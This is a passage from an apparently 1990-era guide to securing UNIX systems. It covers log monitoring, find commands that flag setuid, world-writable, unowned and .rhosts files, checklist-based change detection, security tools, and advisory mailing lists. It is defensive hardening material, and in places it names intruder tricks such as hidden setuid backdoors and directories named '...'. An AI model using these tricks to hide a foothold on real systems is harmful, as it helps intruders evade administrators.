Sample + output from lastcomm is shown below. + + % lastcomm + sh S root __ 0.67 secs Tue Mar 13 12:45 + atrun root __ 0.23 secs Tue Mar 13 12:45 + lpd F root __ 1.06 secs Tue Mar 13 12:44 + lpr S burwell tty09 1.23 secs Tue Mar 13 12:44 + troff burwell tty09 12.83 secs Tue Mar 13 12:44 + eqn burwell tty09 1.44 secs Tue Mar 13 12:44 + df kindred ttyq7 0.78 secs Tue Mar 13 12:44 + ls kindred ttyq7 0.28 secs Tue Mar 13 12:44 + cat kindred ttyq7 0.05 secs Tue Mar 13 12:44 + stty kindred ttyq7 0.05 secs Tue Mar 13 12:44 + tbl burwell tty09 1.08 secs Tue Mar 13 12:44 + rlogin S jones ttyp3 5.66 secs Tue Mar 13 12:38 + rlogin F jones ttyp3 2.53 secs Tue Mar 13 12:41 + stty kindred ttyq7 0.05 secs Tue Mar 13 12:44 + + The first column indicates the name of the command. The next + column displays certain flags on the command: an ``F'' means the + process spawned a child process, ``S'' means the process ran with + the set-user-id bit set, ``D'' means the process exited with a + core dump, and ``X'' means the process was killed abnormally. + The remaining columns show the name of the user who ran the + program, the terminal he ran it from (if applicable), the amount + + + + 33 + + + + + + + + + + + of CPU time used by the command (in seconds), and the date and + time the process started. + + + 3.2 NETWORK SECURITY + + + + Monitoring network security is more difficult, because there + are so many ways for a cracker to attempt to break in. However, + there are some programs available to aid you in this task. These + are described in this section. + + + 3.2.1 The syslog Facility + + + + The syslog facility [Sun88a, 1773] is a mechanism that + enables any command to log error messages and informational mes- + sages to the system console, as well as to a log file. Typi- + cally, error messages are logged in the file /usr/adm/messages + along with the date, time, name of the program sending the mes- + sage, and (usually) the process id of the program. A sample seg- + ment of the messages file is shown below. + + Mar 12 14:53:37 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr + Mar 12 15:18:08 sparkyfs login: ROOT LOGIN ttyp3 FROM setekfs.itstd.sr + Mar 12 16:50:25 sparkyfs login: ROOT LOGIN ttyp4 FROM pongfs.itstd.sri + Mar 12 16:52:20 sparkyfs vmunix: sd2c: read failed, no retries + Mar 13 06:01:18 sparkyfs vmunix: /: file system full + Mar 13 08:02:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst + Mar 13 08:28:52 sparkyfs su: davy on /dev/ttyp3 + Mar 13 08:38:03 sparkyfs login: ROOT LOGIN ttyp4 FROM triceratops.itst + Mar 13 10:56:54 sparkyfs automount[154]: host aaifs not responding + Mar 13 11:30:42 sparkyfs login: REPEATED LOGIN FAILURES ON ttyp3 FROM + intrepid.itstd.s, daemon + + Of particular interest in this sample are the messages from the + login and su programs. Whenever someone logs in as ``root,'' + login logs this information. Generally, logging in as ``root'' + directly, rather than using the su command, should be + discouraged, as it is hard to track which person is actually + using the account. Once this ability has been disabled, as + described in Section 2.2.2, detecting a security violation + becomes a simple matter of searching the messages file for lines + of this type. + + Login also logs any case of someone repeatedly trying to log + in to an account and failing. After three attempts, login will + refuse to let the person try anymore. Searching for these + messages in the messages file can alert you to a cracker + + + + 34 + + + + + + + + + + + attempting to guess someone's password. + + Finally, when someone uses the su command, either to become + ``root'' or someone else, su logs the success or failure of this + operation. These messages can be used to check for users sharing + their passwords, as well as for a cracker who has penetrated one + account and is trying to penetrate others. + + + 3.2.2 The showmount Command + + + + The showmount command [Sun88a, 1764] can be used on an NFS + file server to display the names of all hosts that currently have + something mounted from the server. With no options, the program + simply displays a list of all the hosts. With the -a and -d + options, the output is somewhat more useful. The first option, + -a, causes showmount to list all the host and directory combina- + tions. For example, + + bronto.itstd.sri.com:/usr/share + bronto.itstd.sri.com:/usr/local.new + bronto.itstd.sri.com:/usr/share/lib + bronto.itstd.sri.com:/var/spool/mail + cascades.itstd.sri.com:/sparky/a + clyde.itstd.sri.com:/laser_dumps + cm1.itstd.sri.com:/sparky/a + coco0.itstd.sri.com:/sparky/a + + There will be one line of output for each directory mounted by a + host. With the -d option, showmount displays a list of all + directories that are presently mounted by some host. + + The output from showmount should be checked for two things. + First, only machines local to your organization should appear + there. If you have set up proper netgroups as described in Sec- + tion 2.2.3, this should not be a problem. Second, only ``nor- + mal'' directories should be mounted. If you find unusual direc- + tories being mounted, you should find out who is mounting them + and why - although it is probably innocent, it may indicate some- + one trying to get around your security mechanisms. + + + 3.3 FILE SYSTEM SECURITY + + + + Checking for security holes in the file system is another + important part of making your system secure. Primarily, you need + to check for files that can be modified by unauthorized users, + files that can inadvertently grant users too many permissions, + + + + 35 + + + + + + + + + + + and files that can inadvertently grant access to crackers. It is + also important to be able to detect unauthorized modifications to + the file system, and to recover from these modifications when + they are made. + + + 3.3.1 The find Command + + + + The find command [Sun88a, 183-185] is a general-purpose com- + mand for searching the file system. Using various arguments, + complex matching patterns based on a file's name, type, mode, + owner, modification time, and other characteristics, can be con- + structed. The names of files that are found using these patterns + can then be printed out, or given as arguments to other UNIX com- + mands. The general format of a find command is + + % find directories options + + where directories is a list of directory names to search (e.g., + /usr), and options contains the options to control what is being + searched for. In general, for the examples in this section, you + will always want to search from the root of the file system (/), + in order to find all files matching the patterns presented. + + This section describes how to use find to search for four + possible security problems that were described in Section 2. + + + 3.3.1.1 Finding Setuid and Setgid Files + + + + It is important to check the system often for unauthorized + setuid and setgid programs. Because these programs grant special + privileges to the user who is executing them, it is necessary to + ensure that insecure programs are not installed. Setuid ``root'' + programs should be closely guarded - a favorite trick of many + crackers is to break into ``root'' once, and leave a setuid pro- + gram hidden somewhere that will enable them to regain super-user + powers even if the original hole is plugged. + + The command to search for setuid and setgid files is + + # find / -type f -a \( -perm -4000 -o -perm -2000 \) -print + + The options to this command have the following meanings: + + / The name of the directory to be searched. In this + case, we want to search the entire file system, so we + specify /. You might instead restrict the search to + + + + 36 + + + + + + + + + + + /usr or /home. + + -type f + Only examine files whose type is ``f,'' regular file. + Other options include ``d'' for directory, ``l'' for + symbolic link, ``c'' for character-special devices, and + ``b'' for block-special devices. + + -a This specifies ``and.'' Thus, we want to know about + files whose type is ``regular file,'' and whose permis- + sions bits match the other part of this expression. + + \( -perm -4000 -o -perm -2000 \) + The parentheses in this part of the command are used + for grouping. Thus, everything in this part of the + command matches a single pattern, and is treated as the + other half of the ``and'' clause described above. + + -perm -4000 + This specifies a match if the ``4000'' bit (speci- + fied as an octal number) is set in the file's per- + mission modes. This is the set-user-id bit. + + -o This specifies ``or.'' Thus, we want to match if + the file has the set-user-id bit or the set- + group-id bit set. + + -perm -2000 + This specifies a match if the ``2000'' bit (speci- + fied as an octal number) is set in the file's per- + mission modes. This is the set-group-id bit. + + -printThis indicates that for any file that matches the + specified expression (is a regular file and has the + setuid or setgid bits set in its permissions), print + its name on the screen. + + After executing this command (depending on how much disk + space you have, it can take anywhere from 15 minutes to a couple + of hours to complete), you will have a list of files that have + setuid or setgid bits set on them. You should then examine each + of these programs, and determine whether they should actually + have these permissions. You should be especially suspicious of + programs that are not in one of the directories (or a subdirec- + tory) shown below. + + /bin + /etc + /usr/bin + /usr/ucb + /usr/etc + + + + + 37 + + + + + + + + + + + One file distributed with SunOS, /usr/etc/restore, is dis- + tributed with the setuid bit set on it, and should not be, + because of a security hole. You should be sure to remove the + setuid bit from this program by executing the command + + # chmod u-s /usr/etc/restore + + + + 3.3.1.2 Finding World-Writable Files + + + + World-writable files, particularly system files, can be a + security hole if a cracker gains access to your system and modi- + fies them. Additionally, world-writable directories are + dangerous, since they allow a cracker to add or delete files as + he wishes. The find command to find all world-writable files is + + # find / -perm -2 -print + + In this case, we do not use the -type option to restrict the + search, since we are interested in directories and devices as + well as files. The -2 specifies the world write bit (in octal). + + This list of files will be fairly long, and will include + some files that should be world writable. You should not be con- + cerned if terminal devices in /dev are world writable. You + should also not be concerned about line printer error log files + being world writable. Finally, symbolic links may be world writ- + able - the permissions on a symbolic link, although they exist, + have no meaning. + + + 3.3.1.3 Finding Unowned Files + + + + Finding files that are owned by nonexistent users can often + be a clue that a cracker has gained access to your system. Even + if this is not the case, searching for these files gives you an + opportunity to clean up files that should have been deleted at + the same time the user herself was deleted. The command to find + unowned files is + + # find / -nouser -print + + The -nouser option matches files that are owned by a user id not + contained in the /etc/passwd database. A similar option, + -nogroup, matches files owned by nonexistent groups. To find all + files owned by nonexistent users or groups, you would use the -o + option as follows: + + + + 38 + + + + + + + + + + + + # find / -nouser -o -nogroup -print + + + + 3.3.1.4 Finding .rhosts Files + + + + As mentioned in Section 2.2.1.2, users should be prohibited + from having .rhosts files in their accounts. To search for this, + it is only necessary to search the parts of the file system that + contain home directories (i.e., you can skip / and /usr): + + # find /home -name .rhosts -print + + The -name option indicates that the complete name of any file + whose name matches .rhosts should be printed on the screen. + + + 3.3.2 Checklists + + + + Checklists can be a useful tool for discovering unauthorized + changes made to system directories. They aren't practical on + file systems that contain users' home directories since these + change all the time. A checklist is a listing of all the files + contained in a group of directories: their sizes, owners, modif- + ication dates, and so on. Periodically, this information is col- + lected and compared with the information in the master checklist. + Files that do not match in all attributes can be suspected of + having been changed. + + There are several utilities that implement checklists avail- + able from public software sites (see Section 4). However, a sim- + ple utility can be constructed using only the standard UNIX ls + and diff commands. + + First, use the ls command [Sun88a, 285] to generate a master + list. This is best done immediately after installing the operat- + ing system, but can be done at any time provided you're confident + about the correctness of the files on the disk. A sample command + is shown below. + + # ls -aslgR /bin /etc /usr > MasterChecklist + + The file MasterChecklist now contains a complete list of all the + files in these directories. You will probably want to edit it + and delete the lines for files you know will be changing often + (e.g., /etc/utmp, /usr/adm/acct). The MasterChecklist file + should be stored somewhere safe where a cracker is unlikely to + + + + 39 + + + + + + + + + + + find it (since he could otherwise just change the data in it): + either on a different computer system, or on magnetic tape. + + To search for changes in the file system, run the above ls + command again, saving the output in some other file, say + CurrentList. Now use the diff command [Sun88a, 150] to compare + the two files: + + # diff MasterChecklist CurrentList + + Lines that are only in the master checklist will be printed pre- + ceded by a ``<,'' and lines that are only in the current list + will be preceded by a ``>.'' If there is one line for a file, + preceded by a ``<,'' this means that the file has been deleted + since the master checklist was created. If there is one line for + a file, preceded by a ``>,'' this means that the file has been + created since the master checklist was created. If there are two + lines for a single file, one preceded by ``<'' and the other by + ``>,'' this indicates that some attribute of the file has changed + since the master checklist was created. + + By carefully constructing the master checklist, and by + remembering to update it periodically (you can replace it with a + copy of CurrentList, once you're sure the differences between the + lists are harmless), you can easily monitor your system for unau- + thorized changes. The software packages available from the pub- + lic software distribution sites implement basically the same + scheme as the one here, but offer many more options for control- + ling what is examined and reported. + + + 3.3.3 Backups + + + + It is impossible to overemphasize the need for a good backup + strategy. File system backups not only protect you in the even + of hardware failure or accidental deletions, but they also pro- + tect you against unauthorized file system changes made by a + cracker. + + A good backup strategy will dump the entire system at level + zero (a ``full'' dump) at least once a month. Partial (or + ``incremental'') dumps should be done at least twice a week, and + ideally they should be done daily. The dump command [Sun88a, + 1612-1614] is recommended over other programs such as tar and + cpio. This is because only dump is capable of creating a backup + that can be used to restore a disk to the exact state it was in + when it was dumped. The other programs do not take into account + files deleted or renamed between dumps, and do not handle some + specialized database files properly. + + + + + 40 + + + + + + + + + + + 3.4 KNOW YOUR SYSTEM + + + + Aside from running large monitoring programs such as those + described in the previous sections, simple everyday UNIX commands + can also be useful for spotting security violations. By running + these commands often, whenever you have a free minute (for exam- + ple, while waiting for someone to answer the phone), you will + become used to seeing a specific pattern of output. By being + familiar with the processes normally running on your system, the + times different users typically log in, and so on, you can easily + detect when something is out of the ordinary. + + + 3.4.1 The ps Command + + + + The ps command [Sun88a, 399-402] displays a list of the + processes running on your system. Ps has numerous options, too + many to list here. Generally, however, for the purpose of moni- + toring, the option string -alxww is the most useful.* On a Sun + system running SunOS 4.0, you should expect to see at least the + following: + + swapper, pagedaemon + System programs that help the virtual memory system. + + /sbin/init + The init process, which is responsible for numerous + tasks, including bringing up login processes on termi- + nals. + + portmap, ypbind, ypserv + Parts of the Yellow Pages system. + + biod, nfsd, rpc.mountd, rpc.quotad, rpc.lockd + Parts of the Network File System (NFS). If the system + you are looking at is not a file server, the nfsd + processes probably won't exist. + + rarpd, rpc.bootparamd + Part of the system that allows diskless clients to + boot. + + Other commands you should expect to see are update (file + system updater); getty (one per terminal and one for the + _________________________ + * This is true for Berkeley-based systems. On System V + systems, the option string -elf should be used instead. + + + + + 41 + + + + + + + + + + + console); lpd (line printer daemon); inetd (Internet daemon, for + starting other network servers); sh and csh (the Bourne shell and + C shell, one or more per logged in user). In addition, if there + are users logged in, you'll probably see invocations of various + compilers, text editors, and word processing programs. + + + 3.4.2 The who and w Commands + + + + The who command, as mentioned previously, displays the list + of users currently logged in on the system. By running this + periodically, you can learn at what times during the day various + users log in. Then, when you see someone logged in at a dif- + ferent time, you can investigate and make sure that it's legiti- + mate. + + The w command [Sun88a, 588] is somewhat of a cross between + who and ps. Not only does it show a list of who is presently + logged in, but it also displays how long they have been idle + (gone without typing anything), and what command they are + currently running. + + + 3.4.3 The ls Command + + + + Simple as its function is, ls is actually very useful for + detecting file system problems. Periodically, you should use ls + on the various system directories, checking for files that + shouldn't be there. Most of the time, these files will have just + ``landed'' somewhere by accident. However, by keeping a close + watch on things, you will be able to detect a cracker long before + you might have otherwise. + + When using ls to check for oddities, be sure to use the -a + option, which lists files whose names begin with a period (.). + Be particularly alert for files or directories named ``...'', or + ``..(space)'', which many crackers like to use. (Of course, + remember that ``.'' and ``..'' are supposed to be there.) + + + 3.5 KEEP YOUR EYES OPEN + + + + Monitoring for security breaches is every bit as important + as preventing them in the first place. Because it's virtually + impossible to make a system totally secure, there is always the + chance, no matter how small, that a cracker will be able to gain + + + + 42 + + + + + + + + + + + access. Only by monitoring can this be detected and remedied. + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 43 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 44 + + + + + + + + + + + + SECTION 4 + + SOFTWARE FOR IMPROVING SECURITY + + + + Because security is of great concern to many sites, a wealth + of software has been developed for improving the security of UNIX + systems. Much of this software has been developed at universi- + ties and other public institutions, and is available free for the + asking. This section describes how this software can be + obtained, and mentions some of the more important programs avail- + able. + + + 4.1 OBTAINING FIXES AND NEW VERSIONS + + + + Several sites on the Internet maintain large repositories of + public-domain and freely distributable software, and make this + material available for anonymous FTP. This section describes + some of the larger repositories. + + + 4.1.1 Sun Fixes on UUNET + + + + Sun Microsystems has contracted with UUNET Communications + Services, Inc. to make fixes for bugs in Sun software available + via anonymous FTP. You can access these fixes by using the ftp + command [Sun88a, 195-201] to connect to the host ftp.uu.net. + Then change into the directory sun-fixes, and obtain a directory + listing, as shown in the example on the following page. + + + + + + + + + + + + + + + + + + + + 45 + + + + + + + + + + + % ftp ftp.uu.net + Connected to uunet.UU.NET. + 220 uunet FTP server (Version 5.93 Mar 20 11:01:52 EST 1990) ready + Name (ftp.uu.net:davy): anonymous + 331 Guest login ok, send ident as password. + Password: enter your mail address yourname@yourhost here + 230 Guest login ok, access restrictions apply. + ftp> cd sun-fixes + 250 CWD command successful. + ftp> dir + 200 PORT command successful. + 150 Opening ASCII mode data connection for /bin/ls. + total 2258 + -rw-r--r-- 1 38 22 4558 Aug 31 1989 README + -rw-r--r-- 1 38 22 484687 Dec 14 1988 ddn.tar.Z + -rw-r--r-- 1 38 22 140124 Jan 13 1989 gated.sun3.Z + -rwxr-xr-x 1 38 22 22646 Dec 14 1988 in.ftpd.sun3.Z + ..... + ..... + -rw-r--r-- 1 38 22 72119 Aug 31 1989 sendmail.sun3.Z + -rwxr-xr-x 1 38 22 99147 Aug 31 1989 sendmail.sun4.Z + -rw-r--r-- 1 38 22 3673 Jul 11 1989 wall.sun3.Z + -rw-r--r-- 1 38 22 4099 Jul 11 1989 wall.sun4.Z + -rwxr-xr-x 1 38 22 7955 Jan 18 1989 ypbind.sun3.Z + -rwxr-xr-x 1 38 22 9237 Jan 18 1989 ypbind.sun4.Z + 226 Transfer complete. + 1694 bytes received in 0.39 seconds (4.2 Kbytes/s) + ftp> quit + 221 Goodbye. + % + + The file README contains a brief description of what each file in + this directory contains, and what is required to install the fix. + + + 4.1.2 Berkeley Fixes + + + + The University of California at Berkeley also makes fixes + available via anonymous FTP; these fixes pertain primarily to the + current release of BSD UNIX (currently release 4.3). However, + even if you are not running their software, these fixes are still + important, since many vendors (Sun, DEC, Sequent , etc.) base + their software on the Berkeley releases. + + The Berkeley fixes are available for anonymous FTP from the + host ucbarpa.berkeley.edu in the directory 4.3/ucb-fixes. The + file INDEX in this directory describes what each file contains. + + Berkeley also distributes new versions of sendmail and named + [Sun88a, 1758-1760, 1691-1692] from this machine. New versions + + + + 46 + + + + + + + + + + + of these commands are stored in the 4.3 directory, usually in the + files sendmail.tar.Z and bind.tar.Z, respectively. + + + 4.1.3 Simtel-20 and UUNET + + + + The two largest general-purpose software repositories on the + Internet are the hosts wsmr-simtel20.army.mil and ftp.uu.net. + + wsmr-simtel20.army.mil is a TOPS-20 machine operated by the + U. S. Army at White Sands Missile Range, New Mexico. The direc- + tory pd2: contains a large amount of UNIX software, pri- + marily taken from the comp.sources newsgroups. The file 000- + master-index.txt contains a master list and description of each + piece of software available in the repository. The file 000- + intro-unix-sw.txt contains information on the mailing list used + to announce new software, and describes the procedures used for + transferring files from the archive with FTP. + + ftp.uu.net is operated by UUNET Communications Services, + Inc. in Falls Church, Virginia. This company sells Internet and + USENET access to sites all over the country (and internation- + ally). The software posted to the following USENET source news- + groups is stored here, in directories of the same name: + + comp.sources.games + comp.sources.misc + comp.sources.sun + comp.sources.unix + comp.sources.x + + Numerous other distributions, such as all the freely distribut- + able Berkeley UNIX source code, Internet Request for Comments + (RFCs), and so on are also stored on this machine. + + + 4.1.4 Vendors + + + + Many vendors make fixes for bugs in their software available + electronically, either via mailing lists or via anonymous FTP. + You should contact your vendor to find out if they offer this + service, and if so, how to access it. Some vendors that offer + these services include Sun Microsystems (see above), Digital + Equipment Corp., the University of California at Berkeley (see + above), and Apple Computer. + + + + + + + 47 + + + + + + + + + + + 4.2 THE NPASSWD COMMAND + + + + The npasswd command, developed by Clyde Hoover at the + University of Texas at Austin, is intended to be a replacement + for the standard UNIX passwd command [Sun88a, 379], as well as + the Sun yppasswd command [Sun88a, 611]. npasswd makes passwords + more secure by refusing to allow users to select insecure pass- + words. The following capabilities are provided by npasswd: + + + Configurable minimum password length + + + Configurable to force users to use mixed case or digits + and punctuation + + + Checking for ``simple'' passwords such as a repeated + letter + + + Checking against the host name and other host-specific + information + + + Checking against the login name, first and last names, + and so on + + + Checking for words in various dictionaries, including + the system dictionary. + + The npasswd distribution is available for anonymous FTP from + emx.utexas.edu in the directory pub/npasswd. + + + 4.3 THE COPS PACKAGE + + + + + COPS is a security tool for system administrators that + checks for numerous common security problems on UNIX systems, + including many of the things described in this document. COPS is + a collection of shell scripts and C programs that can easily be + run on almost any UNIX variant. Among other things, it checks + the following items and sends the results to the system adminis- + trator: + + + Checks /dev/kmem and other devices for world + read/writability. + + + Checks special/important files and directories for + ``bad'' modes (world writable, etc.). + + + Checks for easily guessed passwords. + + + + 48 + + + + + + + + + + + + Checks for duplicate user ids, invalid fields in the + password file, etc. + + + Checks for duplicate group ids, invalid fields in the + group file, etc. + + + Checks all users' home directories and their .cshrc, + .login, .profile, and .rhosts files for security prob- + lems. + + + Checks all commands in the /etc/rc files [Sun88a, + 1724-1725] and cron files [Sun88a, 1606-1607] for world + writability. + + + Checks for bad ``root'' paths, NFS file system exported + to the world, etc. + + + Includes an expert system that checks to see if a given + user (usually ``root'') can be compromised, given that + certain rules are true. + + + Checks for changes in the setuid status of programs on + the system. + + The COPS package is available from the comp.sources.unix + archive on ftp.uu.net, and also from the repository on wsmr- + simtel20.army.mil. + + + 4.4 SUN C2 SECURITY FEATURES + + + + With the release of SunOS 4.0, Sun has included security + features that allow the system to operate at a higher level of + security, patterned after the C2* classification. These features + can be installed as one of the options when installing the system + from the distribution tapes. The security features added by this + option include + + + Audit trails that record all login and logout times, + the execution of administrative commands, and the exe- + cution of privileged (setuid) operations. + + + A more secure password file mechanism (``shadow pass- + word file'') that prevents crackers from obtaining a + list of the encrypted passwords. + _________________________ + * C2 is one of several security classifications defined by the + National Computer Security Center, and is described in [NCSC85], + the ``orange book.'' + + + + + 49 + + + + + + + + + + + + DES encryption capability. + + + A (more) secure NFS implementation that uses public-key + encryption to authenticate the users of the system and + the hosts on the network, to be sure they really are + who they claim to be. + + These security features are described in detail in [Sun88c]. + + + 4.5 KERBEROS + + + + Kerberos [Stei88] is an authentication system developed by + the Athena Project at the Massachusetts Institute of Technology. + Kerberos is a third-party authentication service, which is + trusted by other network services. When a user logs in, Kerberos + authenticates that user (using a password), and provides the user + with a way to prove her identity to other servers and hosts scat- + tered around the network. + + This authentication is then used by programs such as rlogin + [Sun88a, 418-419] to allow the user to log in to other hosts + without a password (in place of the .rhosts file). The authenti- + cation is also used by the mail system in order to guarantee that + mail is delivered to the correct person, as well as to guarantee + that the sender is who he claims to be. NFS has also been modi- + fied by M.I.T. to work with Kerberos, thereby making the system + much more secure. + + The overall effect of installing Kerberos and the numerous + other programs that go with it is to virtually eliminate the + ability of users to ``spoof'' the system into believing they are + someone else. Unfortunately, installing Kerberos is very + intrusive, requiring the modification or replacement of numerous + standard programs. For this reason, a source license is usually + necessary. There are plans to make Kerberos a part of 4.4BSD, to + be released by the University of California at Berkeley sometime + in 1990. + + + + + + + + + + + + + + + + 50 + + + + + + + + + + + + SECTION 5 + + KEEPING ABREAST OF THE BUGS + + + + One of the hardest things about keeping a system secure is + finding out about the security holes before a cracker does. To + combat this, there are several sources of information you can and + should make use of on a regular basis. + + + 5.1 THE COMPUTER EMERGENCY RESPONSE TEAM + + + + The Computer Emergency Response Team (CERT) was established + in December 1988 by the Defense Advanced Research Projects Agency + to address computer security concerns of research users of the + Internet. It is operated by the Software Engineering Institute + at Carnegie-Mellon University. The CERT serves as a focal point + for the reporting of security violations, and the dissemination + of security advisories to the Internet community. In addition, + the team works with vendors of various systems in order to coor- + dinate the fixes for security problems. + + The CERT sends out security advisories to the cert-advisory + mailing list whenever appropriate. They also operate a 24-hour + hotline that can be called to report security problems (e.g., + someone breaking into your system), as well as to obtain current + (and accurate) information about rumored security problems. + + To join the cert-advisory mailing list, send a message to + cert@cert.sei.cmu.edu and ask to be added to the mailing list. + Past advisories are available for anonymous FTP from the host + cert.sei.cmu.edu. The 24-hour hotline number is (412) 268-7090. + + + 5.2 DDN MANAGEMENT BULLETINS + + + + The DDN Management Bulletin is distributed electronically by + the Defense Data Network (DDN) Network Information Center under + contract to the Defense Communications Agency. It is a means of + communicating official policy, procedures, and other information + of concern to management personnel at DDN facilities. + + The DDN Security Bulletin is distributed electronically by + the DDN SCC (Security Coordination Center), also under contract + to DCA, as a means of communicating information on network and + + + + 51 + + + + + + + + + + + host security exposures, fixes, and concerns to security and + management personnel at DDN facilities. + + Anyone may join the mailing lists for these two bulletins by + sending a message to nic@nic.ddn.mil and asking to be placed on + the mailing lists. + + + 5.3 SECURITY-RELATED MAILING LISTS + + + + There are several other mailing lists operated on the Inter- + net that pertain directly or indirectly to various security + issues. Some of the more useful ones are described below. + + + 5.3.1 Security + + + + The UNIX Security mailing list exists to notify system + administrators of security problems before they become common + knowledge, and to provide security enhancement information. It + is a restricted-access list, open only to people who can be veri- + fied as being principal systems people at a site. Requests to + join the list must be sent by either the site contact listed in + the Network Information Center's WHOIS database, or from the + ``root'' account on one of the major site machines. You must + include the destination address you want on the list, an indica- + tion of whether you want to be on the mail reflector list or + receive weekly digests, the electronic mail address and voice + telephone number of the site contact if it isn't you, and the + name, address, and telephone number of your organization. This + information should be sent to security-request@cpd.com. + + + 5.3.2 RISKS + + + + The RISKS digest is a component of the ACM Committee on Com- + puters and Public Policy, moderated by Peter G. Neumann. It is a + discussion forum on risks to the public in computers and related + systems, and along with discussing computer security and privacy + issues, has discussed such subjects as the Stark incident, the + shooting down of the Iranian airliner in the Persian Gulf (as it + relates to the computerized weapons systems), problems in air and + railroad traffic control systems, software engineering, and so + on. To join the mailing list, send a message to risks- + request@csl.sri.com. This list is also available in the USENET + newsgroup comp.risks. + + + + 52 + + + + + + + + + + + 5.3.3 TCP-IP + + + + The TCP-IP list is intended to act as a discussion forum for + developers and maintainers of implementations of the TCP/IP pro- + tocol suite. It also discusses network-related security problems + when they involve programs providing network services, such as + sendmail. To join the TCP-IP list, send a message to tcp-ip- + request@nic.ddn.mil. This list is also available in the USENET + newsgroup comp.protocols.tcp-ip. + + + 5.3.4 SUN-SPOTS, SUN-NETS, SUN-MANAGERS + + + + The SUN-SPOTS, SUN-NETS, and SUN-MANAGERS lists are all dis- + cussion groups for users and administrators of systems supplied + by Sun Microsystems. SUN-SPOTS is a fairly general list, dis- + cussing everything from hardware configurations to simple UNIX + questions. To subscribe, send a message to sun-spots- + request@rice.edu. This list is also available in the USENET + newsgroup comp.sys.sun. + + SUN-NETS is a discussion list for items pertaining to net- + working on Sun systems. Much of the discussion is related to + NFS, Yellow Pages, and name servers. To subscribe, send a mes- + sage to sun-nets-request@umiacs.umd.edu. + + SUN-MANAGERS is a discussion list for Sun system administra- + tors and covers all aspects of Sun system administration. To + subscribe, send a message to sun-managers-request@eecs.nwu.edu. + + + 5.3.5 VIRUS-L + + + + The VIRUS-L list is a forum for the discussion of computer + virus experiences, protection software, and related topics. The + list is open to the public, and is implemented as a mail reflec- + tor, not a digest. Most of the information is related to per- + sonal computers, although some of it may be applicable to larger + systems. To subscribe, send the line + + SUB VIRUS-L your full name + + to the address listserv%lehiibm1.bitnet@mitvma.mit.edu. + + + + + + + 53 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 54 + + + + + + + + + + + + SECTION 6 + + SUGGESTED READING + + + + This section suggests some alternate sources of information + pertaining to the security and administration of the UNIX operat- + ing system. + + UNIX System Administration Handbook + Evi Nemeth, Garth Snyder, Scott Seebass + Prentice Hall, 1989, $26.95 + + This is perhaps the best general-purpose book on UNIX system + administration currently on the market. It covers Berkeley + UNIX, SunOS, and System V. The 26 chapters and 17 appen- + dices cover numerous topics, including booting and shutting + down the system, the file system, configuring the kernel, + adding a disk, the line printer spooling system, Berkeley + networking, sendmail, and uucp. Of particular interest are + the chapters on running as the super-user, backups, and + security. + + UNIX Operating System Security + F. T. Grammp and R. H. Morris + AT&T Bell Laboratories Technical Journal + October 1984 + + This is an excellent discussion of some of the more common + security problems in UNIX and how to avoid them, written by + two of Bell Labs' most prominent security experts. + + Password Security: A Case History + Robert Morris and Ken Thompson + Communications of the ACM + November 1979 + + An excellent discussion on the problem of password security, + and some interesting information on how easy it is to crack + passwords and why. This document is usually reprinted in + most vendors' UNIX documentation. + + On the Security of UNIX + Dennis M. Ritchie + May 1975 + + A discussion on UNIX security from one of the original crea- + tors of the system. This document is usually reprinted in + most vendors' UNIX documentation. + The Cuckoo's Egg + + + + 55 + + + + + + + + + + + Clifford Stoll + Doubleday, 1989, $19.95 + + An excellent story of Stoll's experiences tracking down the + German crackers who were breaking into his systems and sel- + ling the data they found to the KGB. Written at a level + that nontechnical users can easily understand. + + System and Network Administration + Sun Microsystems + May, 1988 + + Part of the SunOS documentation, this manual covers most + aspects of Sun system administration, including security + issues. A must for anyone operating a Sun system, and a + pretty good reference for other UNIX systems as well. + + Security Problems in the TCP/IP Protocol Suite + S. M. Bellovin + ACM Computer Communications Review + April, 1989 + + An interesting discussion of some of the security problems + with the protocols in use on the Internet and elsewhere. + Most of these problems are far beyond the capabilities of + the average cracker, but it is still important to be aware + of them. This article is technical in nature, and assumes + familiarity with the protocols. + + A Weakness in the 4.2BSD UNIX TCP/IP Software + Robert T. Morris + AT&T Bell Labs Computer Science Technical Report 117 + February, 1985 + + An interesting article from the author of the Internet worm, + which describes a method that allows remote hosts to + ``spoof'' a host into believing they are trusted. Again, + this article is technical in nature, and assumes familiarity + with the protocols. + + Computer Viruses and Related Threats: A Management Guide + John P. Wack and Lisa J. Carnahan + National Institute of Standards and Technology + Special Publication 500-166 + + This document provides a good introduction to viruses, + worms, trojan horses, and so on, and explains how they work + and how they are used to attack computer systems. Written + for the nontechnical user, this is a good starting point for + learning about these security problems. This document can + be ordered for $2.50 from the U. S. Government Printing + Office, document number 003-003-02955-6. + + + + 56 + + + + + + + + + + + + SECTION 7 + + CONCLUSIONS + + + + Computer security is playing an increasingly important role + in our lives as more and more operations become computerized, and + as computer networks become more widespread. In order to protect + your systems from snooping and vandalism by unauthorized crack- + ers, it is necessary to enable the numerous security features + provided by the UNIX system. + + In this document, we have covered the major areas that can + be made more secure: + + + Account security + + + Network security + + + File system security. + + Additionally, we have discussed how to monitor for security vio- + lations, where to obtain security-related software and bug fixes, + and numerous mailing lists for finding out about security prob- + lems that have been discovered. + + Many crackers are not interested in breaking into specific + systems, but rather will break into any system that is vulnerable + to the attacks they know. Eliminating these well-known holes and + monitoring the system for other security problems will usually + serve as adequate defense against all but the most determined + crackers. By using the procedures and sources described in this + document, you can make your system more secure. + + + + + + + + + + + + + + + + + + + + + 57 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + 58 + + + + + + + + + + + REFERENCES + + + + [Eich89] Eichin, Mark W., and Jon A. Rochlis. With Microscope + and Tweezers: An Analysis of the Internet Virus of + November 1988. Massachusetts Institute of Technology. + February 1989. + + [Elme88] Elmer-DeWitt, Philip. `` `The Kid Put Us Out of + Action.' '' Time, 132 (20): 76, November 14, 1988. + + [Gram84] Grammp, F. T., and R. H. Morris. ``UNIX Operating Sys- + tem Security.'' AT&T Bell Laboratories Technical Jour- + nal, 63 (8): 1649-1672, October 